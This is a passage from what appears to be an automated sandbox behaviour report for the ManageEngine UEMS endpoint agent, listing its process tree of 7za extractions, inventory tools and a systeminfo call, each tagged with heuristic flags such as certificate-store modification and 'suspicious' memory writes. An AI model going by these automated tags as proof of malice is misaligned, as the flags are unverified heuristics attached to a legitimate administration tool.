- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5504
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵
- Executes dropped EXE
PID:2236
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5228
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵
- Executes dropped EXE
PID:2752
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵
- Executes dropped EXE
PID:3540
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵
- Executes dropped EXE
PID:4900
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *5⤵
- Executes dropped EXE
PID:4228
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2068
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:3348
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *5⤵
- Executes dropped EXE
PID:2576
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *5⤵
- Executes dropped EXE
PID:1540
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:996
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *5⤵
- Executes dropped EXE
PID:2548
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *5⤵
- Executes dropped EXE
PID:4980
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *5⤵
- Executes dropped EXE
PID:5884
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *5⤵
- Executes dropped EXE
PID:4752
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4884
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *5⤵
- Executes dropped EXE
PID:6004
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *5⤵
- Executes dropped EXE
PID:3044
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\running-exe-checks.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3284
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *5⤵
- Executes dropped EXE
PID:692
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *5⤵
- Executes dropped EXE
PID:2000
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1240
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2472
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4856
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll5⤵
- Executes dropped EXE
PID:2580
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *5⤵PID:5792
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *5⤵PID:4536
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe5⤵
- System Location Discovery: System Language Discovery
PID:4276
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *5⤵PID:4100
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2628 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so6⤵PID:6000
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""5⤵
- Executes a command shell one-liner
PID:4584 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so6⤵PID:4856
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4404 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:4576
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:1584 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so6⤵PID:1360
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""5⤵
- Executes a command shell one-liner
PID:3832 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5100
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so6⤵PID:3144
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:1784 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:1560
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *5⤵
- System Location Discovery: System Language Discovery
PID:1820
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll5⤵
- System Location Discovery: System Language Discovery
PID:1932
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad25⤵PID:1648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- Gathers system information
PID:4912
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3288
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
PID:4352
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:2172
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:2004
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:4596
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3232
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:6108
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:644
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2948
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1216
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:4556
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
PID:3008
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
PID:4176
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5172.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5172.tmpnew""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2312 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5172.tmp" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:64
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵
- Executes dropped EXE
PID:5100
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵
- Executes dropped EXE
PID:3144
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1196
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *3⤵
- System Location Discovery: System Language Discovery
PID:1928
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵
- System Location Discovery: System Language Discovery
PID:5304
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe3⤵
- System Location Discovery: System Language Discovery
PID:4112
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *3⤵PID:5860
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""3⤵
- Executes a command shell one-liner
PID:3848 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so4⤵PID:4388
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""3⤵
- Executes a command shell one-liner
PID:4364 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:2976
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""3⤵
- Executes a command shell one-liner
PID:4544 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:1340
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""3⤵
- Executes a command shell one-liner
PID:4828 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so4⤵PID:3772
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3108 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2576
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so4⤵
- System Location Discovery: System Language Discovery
PID:2408
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""3⤵
- Executes a command shell one-liner
PID:1796 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so4⤵PID:1964
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *3⤵
- System Location Discovery: System Language Discovery
PID:1092
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll3⤵PID:4988
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe33⤵
- Reads the TCP/IP host and domain name from the registry
PID:5392
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh3⤵
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:1160 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 9ff13e98-156a-40a8-a2f0-1966149487e5 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -c acp -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ApplicationControl-metadata.json" -a 14⤵PID:4444
-
